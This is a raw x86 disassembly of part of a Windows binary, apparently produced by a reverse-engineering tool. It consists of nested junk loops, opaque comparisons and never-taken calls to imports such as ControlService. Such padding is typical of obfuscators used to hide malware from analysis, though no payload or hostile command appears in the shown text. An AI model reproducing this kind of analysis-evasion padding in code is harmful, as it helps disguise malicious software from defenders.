mov eax, dword [ebp - 0x258]
setle bl
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0xb8]
cmp ebx, eax
sete cl
cmp edx, ecx
jle 0x10037d6a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0xb0]
xor ebx, ebx
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x4c], 0x8cd908fb
mov dword [ebp - 0x40], 0x6eda
cmp dword [ebp - 0x40], 0x6fd5
jle 0x10037dc6
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x10608998
or eax, edi
cdq
push edx
push eax
call fcn.1002bc5e
inc esi
cmp esi, 0x4ca5
jl 0x10037d9b
inc edi
cmp edi, 0x2dc7
jl 0x10037d99
xor edi, edi
mov esi, 0x8f5b6ef3
inc edi
mov dword [ebp - 0x14], ebx
jmp 0x10037ddc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6e8], 0xe26b5cfd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10037dcb
mov byte [ebp - 4], 0x3e
cmp dword [ebp - 0x40], 0x6e0a
jge 0x10037e24
mov edx, 0x1000a788
mov ecx, 0x10608998
call fcn.1002d708
jmp 0x10037e24
mov dword [ebp - 4], 0x3d
xor ecx, ecx
mov eax, dword [ebp - 0x258]
mov edx, edi
cmp dword [eax], 0x2053
mov eax, dword [ebp - 0x4c]
setge cl
dec dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
cmovle edx, ebx
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb8]
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
imul eax, eax, 0x4264
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x3c]
jg 0x10037e99
cmp dword [ebp - 0x50], ebx
je 0x10037e99
mov ebx, edi
xor eax, eax
cmp ebx, 0xfffffffd
setge al
xor edx, edx
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x31c]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0xb8]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
dec edx
cmp eax, edx
mov eax, dword [ebp - 0x458]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setl dl
xor ebx, ebx
mov eax, dword [ebp + eax*4 - 0xb8]
cmp edx, eax
setne bl
xor edx, edx
mov dword [ebp - 0x6e8], ebx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0xb8]
lea eax, [ebx - 0xffff]
cmp eax, ecx
lea ecx, [ebp - 0x498]
setne dl
cmp esi, edx
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x38]
call fcn.1002bdf5
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x3b
call fcn.1002bdf5
inc dword [ebp - 0x24]
xor ebx, ebx
jmp 0x10037cad
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x258]
call fcn.1002bdf5
mov dword [ebp - 0x5c], 0x2233
cmp dword [ebp - 0x5c], 0x234f
jle 0x10037fe2
mov edx, ebx
mov dword [ebp - 0x4c], ebx
mov eax, ebx
mov dword [ebp - 0x38], ebx
mov ecx, eax
mov edi, ebx
xor ecx, edx
mov dword [ebp - 0x40], ecx
mov esi, ebx
mov eax, esi
and eax, edi
or eax, ecx
lea ecx, [ebp - 0x7bc]
cdq
push edx
push eax
call fcn.1000cda0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10037f8c
mov eax, dword [eax]
push eax
call fcn.1004b066
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7bc]
call fcn.1002c0ff
mov ecx, dword [ebp - 0x40]
inc esi
cmp esi, 0x7ea9
jl 0x10037f6e
inc edi
cmp edi, 0x5469
jl 0x10037f6c
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x2bf
jl 0x10037f63
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0x44b2
jl 0x10037f5e
push 0x605
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
xor edi, edi
inc edi
mov dword [ebp - 0x24], 0xa48bbca6
cmp dword [ebp - 0x5c], 0x2054
jge 0x10037ffd
push 0x1000a804
call fcn.1004b066
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x4c], 0xab77c19c
mov dword [ebp - 0x24], 0xfffffff7
cmp dword [ebp - 0x24], 0xa
jg 0x100382a1
push 2
pop esi
mov dword [ebp - 0x20], 0x44455595
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x54], 0xbebf3b8c
mov dword [ebp - 0x38], 0xfffffff9
push esi
call fcn.1002bd73
mov dword [ebp - 4], 0x42
mov dword [ebp - 0x14], ebx
jmp 0x1003805c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18c]
mov dword [eax + ecx*4], 0x7e80a7c6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10038049
cmp dword [ebp - 0x24], edi
je 0x10038115
push esi
lea ecx, [ebp - 0x328]
call fcn.1002bd73
mov dword [ebp - 0x40], 0x7af2c9a1
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], ebx
jmp 0x10038098
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x328]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10038085
cmp dword [ebp - 0x20], ebx
jne 0x100380af
mov eax, dword [ebp - 0x328]
mov esi, ebx
cmp dword [eax + 4], ebx
je 0x100380b1
mov esi, edi
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge bl
xor edx, edx
neg ebx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x24]
jne 0x100380e0
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp eax, 0x6b379904
setne cl
imul ecx, dword [ebp - 0x20]
imul ecx, esi
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x328]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], eax
call fcn.1002bdf5
push 2
xor ebx, ebx
pop esi
jmp 0x10038259
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x30], ebx
jmp 0x10038139
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0xcc], 0xbbe58ed0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x10038128
mov dword [ebp - 0x30], ebx
jmp 0x10038154
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x2b8], 0xfffffff8
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jl 0x10038143
dec dword [ebp - 0xcc]
xor edx, edx
mov eax, dword [ebp - 0xcc]
inc dword [ebp - 0x2b0]
mov ecx, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x2b0]
setle cl
xor edx, edx
cmp ecx, 0x5454
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18c]
setl cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x20]
setne dl
add eax, edx
cmp eax, 0xe70d
jle 0x100381be
mov eax, edi
cmp dword [ebp - 0x24], ebx
jne 0x100381c0
mov eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18c]
cmp dword [eax], ebx
jne 0x100381d7
mov ecx, ebx
cmp dword [ebp - 0x24], ebx
je 0x100381d9
mov ecx, edi
mov eax, dword [ebp - 0xcc]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xc8]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
sete cl
xor edx, edx
cmp ecx, 0x65fb
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x24]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x37d
xor ecx, ecx
cmp eax, 0x1323
setne cl
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0xcc]
neg eax
sbb eax, eax
inc eax
imul edx, eax, 0xb839
mov eax, dword [ebp - 0x38]
sub edx, 0xfffffffc
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x24]
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x20]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x18c]
add ecx, dword [eax]
je 0x1003827a
mov ecx, edi
cmp dword [ebp - 0x20], ebx
jne 0x1003827c
mov ecx, ebx
mov eax, dword [ebp - 0x18c]
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x18c]
call fcn.1002bdf5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xa
jle 0x1003801c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100382b1
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
movdqa xmm0, xmmword [0x1000b960]
lea ecx, [ebp - 0x630]
push ecx
lea eax, [ebp - 0x620]
push eax
push ecx
lea ecx, [ebp - 0x6a0]
movdqu xmmword [ebp - 0x630], xmm0
call fcn.1002bdcf
push 3
mov dword [ebp - 0x14], 0xc4d8e5cc
pop esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
jl 0x1003830d
mov esi, dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10038305
push 0x36d
push ebx
push ebx
call esi
dec dword [ebp - 0x14]
jns 0x100382f3
push 3
pop esi
lea ecx, [ebp - 0x6a0]
call fcn.1002bdf5
mov dword [ebp - 0x2c], 0xe96b779c
mov dword [ebp - 0x14], ebx
jmp 0x10038335
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2e4], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10038324
mov eax, dword [ebp - 0x2e4]
xor ecx, ecx
mov eax, dword [ebp - 0x2e0]
cmp eax, 0x801fc3ee
setne cl
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], ebx
jne 0x10038363
mov edx, ebx
cmp dword [ebp - 0x2e0], ebx
je 0x10038365
mov edx, edi
mov eax, dword [ebp - 0x2e4]
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x2c], 0xffffffe2
jmp 0x1003838a
mov dword [ebp - 0x40], ebx
inc dword [ebp - 0x40]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffff
jge 0x10038381
mov dword [ebp - 0x20], ebx
lea ecx, [ebp - 0x270]
push edi
call fcn.1002bd73
mov dword [ebp - 4], 0x43
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x54], 0x9f3b06d9
mov dword [ebp - 0x34], 0xa8b108f8
mov dword [ebp - 0x40], 0xfffffffe
push 4
call fcn.1002bd73
mov dword [ebp - 0x14], ebx
jmp 0x100383dc
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x340]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100383cd
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100383f8
push ebx
push 0x12a2
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov dword [ebp - 0x34], 6
cmp dword [ebp - 0x34], ebx
je 0x1003840a